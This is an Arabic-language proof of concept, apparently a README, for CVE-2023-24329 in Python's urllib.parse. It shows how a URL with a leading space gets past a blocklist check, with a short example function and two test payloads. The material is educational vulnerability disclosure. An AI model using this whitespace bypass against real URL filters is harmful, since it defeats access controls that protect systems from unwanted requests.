
إثبات مفهوم يوضح ثغرة تجاوز في تحليل عناوين URL في مكتبة urllib.parse الخاصة بلغة بايثون (CVE-2023-24329) والتي تسمح بتجاوز قوائم الحظر عن طريق إضافة مسافات في البداية.
تركز دوال تحليل عناوين URL على تقسيم سلسلة URL إلى مكوناتها، أو على دمج مكونات URL في سلسلة URL.
ببساطة يتم استخدام urllib.parse لتحليل عناوين URL، ويمكننا تجاوزها بإضافة مسافات قبل العنوان. يحدث هذا في بايثون 3.11.4 وما قبلها.
لنقم بتحليل example.py
إليك مجموعة من المواقع التي يجب ألا تصل إليها:
blocked_list = [
"http://example.com/",
"http://example2.com/"
]
تتحقق هذه الدالة مما إذا كان الموقع موجودًا في القائمة المحظورة أم لا، وإذا كان في القائمة المحظورة فيجب أن تُرجع URL Blocked
def is_url_blocked(url):
parse = urllib.parse.urlparse(url).geturl()
if parse in blocked_list: return 'URL Blocked'
else: return 'Bypassed'
الآن أضفت عنوانين URL وأتحقق مما إذا كان أي منهما محظورًا ولا يمكن الوصول إليه:
payload1 = " http://example.com/"
payload2 = "http://example.com/"
print(
is_url_blocked(payload1),
"\n",
is_url_blocked(payload2)
)
payload1 هو المكان الذي تجاوزت فيه is_url_blocked() لأن إضافة مسافة طويلة قبل العنوان ستتجاوز urllib.parse.urlparse(url).geturl() ولن يتم تنفيذها كما هو متوقع.
لهذا السبب يكون الناتج
Bypassed
لكن مع payload2 نحصل على
URL Blocked
إذا كنت ترغب في دعمي بالتبرع، أنصحك بإعطائه لشخص يحتاجه حقًا من فضلك. إذا فعلت ذلك فاعتبر أنني حصلت على دعمك.